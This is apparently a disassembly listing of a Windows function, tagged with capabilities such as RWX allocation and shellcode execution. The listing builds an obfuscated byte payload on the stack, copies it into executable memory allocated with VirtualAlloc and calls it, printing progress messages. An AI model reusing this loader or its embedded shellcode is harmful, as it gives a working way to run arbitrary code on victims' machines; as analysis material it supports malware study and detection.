Function at 0x1400013b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
jmp 0x1400013b0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov dword [rsp + 0x20], 0x52515350
mov dword [rsp + 0x24], 0x54555756
mov dword [rsp + 0x28], 0x51415041
mov dword [rsp + 0x2c], 0x53415241
mov dword [rsp + 0x30], 0x55415441
mov dword [rsp + 0x34], 0x57415641
mov dword [rsp + 0x38], 0xf6420f4d
mov dword [rsp + 0x3c], 0x3ccc02eb
mov dword [rsp + 0x40], 0x133e8
mov dword [rsp + 0x44], 0x9102eb00
mov dword [rsp + 0x48], 0x9a9cdf6e
mov dword [rsp + 0x4c], 0xc70114bf
mov dword [rsp + 0x50], 0xb7ffffc1
mov dword [rsp + 0x54], 0x4b01d372
mov dword [rsp + 0x58], 0x3044002b
mov dword [rsp + 0x5c], 0x2440b0c
mov dword [rsp + 0x60], 0xf6e20b0c
mov dword [rsp + 0x64], 0x66e5a1cd
mov dword [rsp + 0x68], 0xea2a4262
mov dword [rsp + 0x6c], 0x9e8eaea
mov dword [rsp + 0x70], 0x75279756
mov dword [rsp + 0x74], 0x5164ce98
mov dword [rsp + 0x78], 0xabc09e7b
mov dword [rsp + 0x7c], 0x264d19f9
mov dword [rbp - 0x80], 0x65025c44
mov dword [rbp - 0x7c], 0xa0cf8737
mov dword [rbp - 0x78], 0xc32472d2
mov dword [rbp - 0x74], 0x53deaa60
mov dword [rbp - 0x70], 0xa0111950
mov dword [rbp - 0x6c], 0xe7764418
mov dword [rbp - 0x68], 0x4d6d419b
mov dword [rbp - 0x64], 0x75784b8a
mov dword [rbp - 0x60], 0x4e72b332
mov dword [rbp - 0x5c], 0x3fee5103
mov dword [rbp - 0x58], 0x645ac867
mov dword [rbp - 0x54], 0x29614def
mov dword [rbp - 0x50], 0x4dcd4688
mov dword [rbp - 0x4c], 0x35c5c5c5
mov dword [rbp - 0x48], 0x3ab0f87d
mov dword [rbp - 0x44], 0xa494155d
mov dword [rbp - 0x40], 0x811169e2
mov dword [rbp - 0x3c], 0xd8fabab1
mov dword [rbp - 0x38], 0xd13e1091
mov dword [rbp - 0x34], 0x77bebf77
mov dword [rbp - 0x30], 0xef674320
mov dword [rbp - 0x2c], 0x63ce06a7
mov dword [rbp - 0x28], 0x90210940
mov dword [rbp - 0x24], 0x10632208
mov dword [rbp - 0x20], 0x88bcac1
mov dword [rbp - 0x1c], 0xba4951a9
mov dword [rbp - 0x18], 0xa8fcffb3
mov dword [rbp - 0x14], 0xe43f7a8c
mov dword [rbp - 0x10], 0x8c830b5
mov dword [rbp - 0xc], 0x5d79c14a
mov dword [rbp - 8], 0xddbb9312
mov dword [rbp - 4], 0x3df5099a
mov dword [rbp], 0x8eee65
mov dword [rbp + 4], 0x2776a849
mov dword [rbp + 8], 0xd690a8ac
mov dword [rbp + 0xc], 0x6c3687d7
mov dword [rbp + 0x10], 0x9e47298d
mov dword [rbp + 0x14], 0xc8ab73c2
mov dword [rbp + 0x18], 0xa8e6ac11
mov dword [rbp + 0x1c], 0xde9f3fd3
mov dword [rbp + 0x20], 0x550d4d72
mov dword [rbp + 0x24], 0x5513be2
mov dword [rbp + 0x28], 0xc26b7a6e
mov dword [rbp + 0x2c], 0xd2bfc0c1
mov dword [rbp + 0x30], 0xdfdfde5a
mov dword [rbp + 0x34], 0xdfdfdfdf
mov dword [rbp + 0x38], 0xf087dfdf
mov dword [rbp + 0x3c], 0x7b7b7a7d
mov dword [rbp + 0x40], 0x4f7e3a7b
mov dword [rbp + 0x44], 0x2f30493a
mov dword [rbp + 0x48], 0x5a2fbf84
mov dword [rbp + 0x4c], 0xa71d20f4
mov dword [rbp + 0x50], 0xec8f12f9
mov dword [rbp + 0x54], 0x6bf0beeb
mov dword [rbp + 0x58], 0xb54377af
mov dword [rbp + 0x5c], 0x84bfbfb5
mov dword [rbp + 0x60], 0xaf94ef9a
mov ecx, 0x332
mov dword [rbp + 0x64], 0xe09b11c6
mov dword [rbp + 0x68], 0xeeb1688a
mov dword [rbp + 0x6c], 0x356c7157
mov dword [rbp + 0x70], 0xd645e594
mov dword [rbp + 0x74], 0xb6d363f6
mov dword [rbp + 0x78], 0x243c8b48
mov dword [rbp + 0x7c], 0x8ec8348
mov dword [rbp + 0x80], 0x4dcf0f49
mov dword [rbp + 0x84], 0x49c0430f
mov dword [rbp + 0x88], 0x4781cf0f
mov dword [rbp + 0x8c], 0x1c146204
mov dword [rbp + 0x90], 0x5002eb89
mov dword [rbp + 0x94], 0x84fc1a3
mov dword [rbp + 0x98], 0x6702eb10
mov dword [rbp + 0x9c], 0x8948553b
mov dword [rbp + 0xa0], 0xec8348e5
mov dword [rbp + 0xa4], 0xec894814
mov dword [rbp + 0xa8], 0xc57f75d
mov dword [rbp + 0xac], 0xc9450f48
mov dword [rbp + 0xb0], 0x4a104781
mov dword [rbp + 0xb4], 0xffd4b507
mov byte [rbp + 0xb8], 0xe7
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, 3
lea rdx, [rsp + 0x20]
mov rbx, rax
mov rcx, rax
mov eax, edi
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001700
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
movzx eax, byte [rdx + 0x18]
mov edx, 0x199
mov byte [rcx + 0x18], al
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400010d2
mov edx, 0x199
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1400017a4
mov eax, 0xffffffff
jmp 0x140001836
mov rcx, rsi
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x1400017b0
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rcx + 0x10], rax
movzx eax, byte [rbx + 0x18]
mov byte [rcx + 0x18], al
lea rcx, str.___Executing_n
call fcn.1400010d2
call rsi
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400010d2
xor eax, eax
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret